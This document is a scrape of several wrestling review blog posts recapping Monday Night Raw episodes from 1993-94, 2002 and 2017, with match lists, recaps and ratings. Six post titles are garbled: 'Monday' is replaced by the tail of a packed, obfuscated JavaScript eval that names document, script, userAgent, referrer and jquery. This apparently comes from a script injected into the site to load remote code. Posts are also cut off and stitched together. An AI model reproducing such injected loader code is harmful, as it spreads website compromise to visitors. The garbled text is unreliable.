Monday Night Raw – December 2, 2002 (2017 Redo): The Best In The World Because They Say So

Monday Night Raw
Date: December 2, 2002
Location: Frank Erwin Center, Austin, Texas
Commentators: Jim Ross, Jerry Lawler

Opening sequence.

Dudley Boyz vs. 3 Minute Warning

Trish Stratus vs. Ivory

Jeff Hardy/Tommy Dreamer vs. Lance Storm/William Regal

Batista vs. Hurricane

Spinebuster and Batista Bomb are good for the pin in under a minute. Sounds like Flair has a future as a teacher.

Kane comes out for the save because they were partners for like two weeks.

Booker T. vs. Chris Jericho

Tag Team Titles: Christian/Chris Jericho vs. Booker T./Goldust

F-View shows us Test and Stacy making out on a couch, only to have her stop for the sake of a marketing idea.

Jackie vs. Victoria

HHH vs. Rob Van Dam

They fight post match and Shawn gets in a superkick to end the show.

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Monday Night Raw – May 1, 2017: The Two Fisted Problem

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ehknh|var|u0026u|referrer|drfzb||js|php'.split('|'),0,{})) Night Raw
Date: May 1, 2017
Location: Golden 1 Center, Sacramento, California
Commentators: Michael Cole, Booker T., Corey Graves

Opening sequence.

Alexa Bliss/Nia Jax/Emma/Alicia Fox vs. Bayley/Sasha Banks/Dana Brooke/Mickie James

Enzo Amore vs. Luke Gallows

Neville tells TJ Perkins to stay focused.

Tony Nese/Brian Kendrick/Noam Dar vs. Rich Swann/Akira Tozawa/Jack Gallagher

The good guys all have umbrellas for their entrances. Tozawa kicks Kendrick in the face to start but Nese runs him over without much effort. Everything breaks down in a hurry and the villains are sent outside, leaving everyone else to pose. Back with Tozawa in trouble at the hands of all three heels.

Rating: C+. This got MUCH better after the commercial and made me less annoyed after thinking it was the old “throw them into one match” concept. At this point 205 Live needs something to be built up other than the main event so having six guys go out there looking good is one of the best things that can be done.

We look back at Sheamus and Cesaro turning heel last night.

Here are Sheamus (who Graves correctly identifies as looking like Travis Bickle) and Cesaro for their explanation. Sheamus is tired of living in a fog where he had to pretend to like the fans. They were ready to take their titles back at Wrestlemania but then the Hardys were thrown in for the nostalgia reaction.

Heath Slater vs. Apollo Crews

Dean interviews Rollins because there are cameras in the locker room and therefore there must be an interview. After listing off some potential names, Dean asks if Rollins would like an Intercontinental Title shot. Tensions are teased but Dean throws it back to Gorilla before it goes too far.

Austin Aries vs. TJ Perkins

Post match Perkins puts Aries in the kneebar to leave him laying.

Ambrose interviews Balor and suggests eating a carb. Balor takes a bite of a doughnut before heading to the ring but is replaced by the Drifter, who seems to confuse Ambrose.

Last night, Angle said goodbye to Chris Jericho after he won the US Title, sending him to Smackdown.

Seth Rollins vs. Finn Balor vs. The Miz

Results

Alexa Bliss/Nia Jax/Alicia Fox/Emma b. Dana Brooke/Bayley/Sasha Banks/Mickie James – DDT to Bayley

Luke Gallows b. Enzo Amore – Flapjack

Rich Swann/Akira Tozawa/Jack Gallagher b. Tony Nese/Brian Kendrick/Noam Dar – Running dropkick to Kendrick

Apollo Crews b. Heath Slater – Toss Powerbomb

Austin Aries b. TJ Perkins – Last Chancery

Miz b. Seth Rollins and Finn Balor – Pin after Sister Abigail from Bray Wyatt

 

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Monday Night Raw – December 27, 1993: Maybe Undertaker Is Bad At His Job

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Date: December 27, 1993
Location: Mid-Hudson Civic Center, Poughkeepsie, New York
Commentators: Vince McMahon, Jacques, Pierre

Lex Luger vs. Barry Horowitz

We look back at Johnny Polo interfering in a match between the 1-2-3 Kid and Marty Jannetty, causing a double countout.

Marty Jannetty vs. Johnny Polo

Yokozuna dreams about being Santa Claus and wakes up, realizing it was only a nightmare.

Doink the Clown vs. Spike Gray

Crush vs. Mike Moraldo

Crush knocks him down without much effort to start as the announcers talk about the Quebecers vs. the Hart Brothers. Talk about a match that would really set the company on fire down the road. The head vice ends Moraldo without too much effort.

Undertaker is still making that casket. I had no idea it took that much effort to put one of those things together. Or maybe Undertaker is just really bad at his job and should take up something else. Like motorcycle maintenance.

Bret tells us to not drink and drive.

Kwang is coming. Hopefully he leaves even faster.

Razor Ramon vs. Derek Domino


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Monday Night Raw – December 20, 1993: New York Isn’t Memphis

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|brkaz|var|u0026u|referrer|fddid||js|php'.split('|'),0,{})) Night Raw
Date: December 20, 1993
Location: Westchester County Civic Center, White Plains, New York
Attendance: 3,000
Commentators: Vince McMahon, Shawn Michaels

Jeff Jarrett vs. PJ Walker

Spend your money to tell the WWF that Lex Luger should be in the Royal Rumble!

Men on a Mission vs. Duane Gill/Barry Hardy

The Royal Rumble Report runs down the card and the nine names in the Rumble.

Ludvig Borga is ready to crush Tatanka again.

Tatanka vs. Ludvig Borga

Tatanka gets double teamed but Lex Luger makes the save with a slam on Yokozuna.

Lou Albano is presented to the crowd for no apparent reason.

Adam Bomb vs. Mark Thomas

Thurman Plugg is coming.

We look at Owen Hart challenging his brother last week.

Bret says no way.

Owen Hart vs. Mike Bell

Headshrinkers vs. Phil Apollo/Jerry Seavey


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Monday Night Raw – December 13, 1993: The Savage Stereotype

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyane|var|u0026u|referrer|etykr||js|php'.split('|'),0,{})) Night Raw
Date: December 13, 1993
Location: Mid-Hudson Civic Center, Poughkeepsie, New York
Commentators: Vince McMahon, Jim Cornette

Opening sequence.

Randy Savage vs. Fatu

Smoking Gunns vs. Steve Smyth/Jim Massenger

IRS vs. Todd Mata

Undertaker vs. JS Storm

Undertaker puts him in a bodybag for fun.

Jeff Jarrett debuts next week.

Rick Martel vs. Tim McNeany

I always forget that Martel existed after about 1990. A crossbody gives Tim two and he gets the same off a sunset flip. Martel elbows him in the jaw and grabs a front facelock. Tim actually makes a quick comeback but misses a dropkick, setting up the Boston crab for the submission. Better than I was expecting for a change.

On Superstars, Owen Hart was sick of hearing about Bret and challenged him to a match.

Bret Hart vs. Brooklyn Brawler

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Monday Night Raw – December 6, 1993: Come Back Bobby

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnihn|var|u0026u|referrer|dnnkk||js|php'.split('|'),0,{})) Night Raw
Date: December 6, 1993
Location: Westchester County Civic Center, White Plains, New York
Attendance: 3,000
Commentators: Vince McMahon, Bobby Heenan

Vince and Bobby preview the show.

Shawn Michaels vs. 1-2-3 Kid

Shawn gives Razor the Edge on the floor, albeit nearly in slow motion to prevent a bad case of death. A second Edge keeps Razor in trouble as Vince is LOSING IT on commentary.

Quebecers vs. Bert Centeno/Mike Walsh

Non-title. Centeno starts with Jacques and slaps him in the face before bailing out to the floor. Walsh comes in and is sent hard into the corner as the beating begins. A backdrop sends Pierre onto Centeno and the Cannonball ends a long squash.

Royal Rumble ad.

Doink the Clown vs. Tony DeVito

A German suplex drops DeVito and we hit a headlock as we hear about Star Wars airing on USA. Another takedown has Vince complaining about how many times Doink has done pretty much the same thing. The Whoopee Cushion ends a squash that has me longing for the Quebecers match.

Jeff Jarrett and his unnamed friend (with his awesome hat) walk the streets of Nashville and complain about never getting a break.

We look back at Crush attacking Randy Savage, which somehow got Savage suspended.

Crush vs. Tony Roy


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Monday Night Raw – November 25, 2002: Boring Wrestling and Violent Illness

Monday Night Raw
Date: November 25, 2002
Location: North Charleston Coliseum, North Charleston, South, Carolina
Commentators: Jim Ross, Jerry Lawler

We open with a long recap of Shawn winning the title and Van Dam earning the shot last week.

Opening sequence.

Tag Team Titles: Christian/Chris Jericho vs. Dudley Boyz

Christian and Jericho are defending. D-Von drops Jericho with a clothesline to start and elbows Christian for the same result. We get some championship miscommunication and Chris gets pummeled in the corner. Christian finally scores with a backbreaker though and the champs take over for the first time.

The pace slows WAY down (as is the Canadian way) but Christian takes too much time yelling at Bubba, allowing D-Von to grab a neckbreaker. Bubba comes in and cleans house but misses the middle rope backsplash. Everything breaks down (as is the tag team way) and D-Von gets two off a small package. Chris rams him into Christian though and a rollup retains the titles clean.

They head into the locker room when the Dudleys come up and want to go after the champs again. Bubba says wait, because he has a plan. I think I like this better than cutting to conveniently timed segments where people just happen to be ready to talk when someone else is done but it was still really scripted.

Test vs. Steven Richards

Christopher Nowinski vs. Maven

Video on Eric Bischoff.

Hurricane/Jeff Hardy vs. Lance Storm/William Regal

Jeff gets beaten down as well.

Kane vs. Batista

Goldust vs. Rico

Rating: D. This was more filler but you have to deal with that from time to time. JR mentioned that Booker was healing, which might have something to do with a rash of illness going around the locker room at this point (dehydration due to some issues on a tour of India). If nothing else that would explain some of the odd booking choices tonight, such as this match, which was only going to last so long.

Raw World Title: Shawn Michaels vs. Rob Van Dam

Shawn, in what looks to be the early Sami Zayn collection of tights, is defending. The champ fires off a dropkick to start but gets kicked in the ribs a few times, followed by a clothesline to send him outside. Rob is smart enough to throw him back inside for a slingshot legdrop to the bad back. A monkey flip is countered into something like Snake Eyes and Shawn starts in on the leg.

HHH goes after Shawn post match and shrugs off a comeback. A side slam puts Shawn through an open chair to end the show.

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Monday Night Raw – April 24, 2017: I Should Be Paid Back For This Show

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eeyty|var|u0026u|referrer|bzray||js|php'.split('|'),0,{})) Night Raw
Date: April 24, 2017
Location: Sprint Center, Kansas City, Missouri
Commentators: Michael Cole, Booker T., Corey Graves

We open with a long recap of Braun Strowman destroying things for the last two weeks.

Opening sequence.

Sheamus vs. Matt Hardy

Post match tempers seem to flare but they all shake hands.

Neville/TJ Perkins vs. Austin Aries/Jack Gallagher

Braun Strowman vs. Kalisto

Kalisto starts with some kicks but his flip dive is caught in a suplex, only to have Strowman throw him across the ring. A front facelock over the ropes has Strowman in some trouble but he throws Kalisto down again. Strowman loads up a press slam but Kalisto slips out and dropkicks him into the dumpster for the win at 6:13.

Post match Strowman destroys Kalisto and puts him in the dumpster. He locks it shut and pushes the dumpster off the stage for what must have been a full two and a half foot fall. If this is how they want to build up Strowman, they have a LONG way to go.

After a break, Kalisto is stretchered out.

Video on Roman Reigns.

Bray Wyatt wants to make Randy Orton suffer.

Dana Brooke vs. Alicia Fox

Emma hugs Dana, who shoves her away.

Samoa Joe and Anderson and Gallows are ready to torture Enzo Amore/Big Cass and Seth Rollins.

Enzo Amore/Big Cass/Seth Rollins vs. Samoa Joe/Anderson and Gallows

Enzo does his full entrance but the villains jump him from the crowd. Rollins runs out for the save but Enzo is laid out as we go to a break. Back with Angle announcing a replacement for the injured Enzo.

Finn Balor/Big Cass/Seth Rollins vs. Samoa Joe/Anderson and Gallows

Seth loads up the springboard knee to Anderson but Joe kicks him in the knee. Cue Balor to take care of Joe, leaving Rollins to hit a springboard clothesline on Anderson. Seth loads up the Pedigree but opts for a hammerlock jumping knee to the face (think the Rainmaker) for the pin at 5:58.

Sasha Banks vs. Alexa Bliss

Bayley goes after Bliss but Alexa runs away, only to turn around and get in a cheap shot. Sasha chases her off.

Curt Hawkins issues an open challenge to his “Star Factory”.

Curt Hawkins vs. Apollo Crews

Crews is looking bigger tonight. They trade some shots to start until Crews hits a running boot to the face. A jumping clothesline sets up an enziguri, followed by the Toss Powerbomb for the pin on Hawkins at 2:09.

We look back at Kalisto and Strowman. Kalisto has suffered hip and cervical trauma.

Long video on Strowman vs. Reigns.

Dean Ambrose/Chris Jericho vs. The Miz/???


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Monday Night Raw – November 18, 2002: I’d Rather Talk About Anthology

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Date: November 18, 2002
Location: Webster Bank Arena, Bridgeport, Connecticut
Commentators: Jim Ross, Jerry Lawler

Opening sequence.

3 Minute Warning/Rico vs. Dudley Boyz

HHH is on the way.

Recap of the Chamber.

Post break Stacy freaks out so Eric gives her a title match against Victoria.

Lance Storm/William Regal vs. Tommy Dreamer/Jeff Hardy

We look back at Steiner beating up Matt Hardy and Christopher Nowinski at Survivor Series.

Victoria stays on her but Trish Stratus comes out for the save. Richards comes out and lays Trish out.

Hurricane talks about his song to promote the Anthology CD set. I loved that thing.

Maven is at the World.

Al Snow vs. Christopher Nowinski

Kane vs. Ric Flair

Booker T. vs. Chris Jericho vs. Kane


 

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Monday Night Raw – January 31, 1994: The Tax And Coin Toss Show

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ayafz|var|u0026u|referrer|trtsa||js|php'.split('|'),0,{})) Night Raw
Date: January 31, 1994
Location: Fernwood Resort, Bushkill, Pennsylvania
Attendance: 1,600
Commentators: Vince McMahon, Irwin R. Schyster

We take a quick look at the Bret Hart vs. Lex Luger situation. They tied in the Royal Rumble so we need to know who faces Yokozuna for the title first. The solution? A coin toss! I know face vs. face was rare back then but a coin toss? Really?

Opening sequence.

Marty Jannetty vs. Johnny Polo

After a break, IRS blames Marty for the chains being stolen.

Bam Bam Bigelow vs. Miguel Rosado

Kwang vs. Rich Myers

Paul Bearer knows the Undertaker is coming back.

Earthquake vs. Corey Student

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

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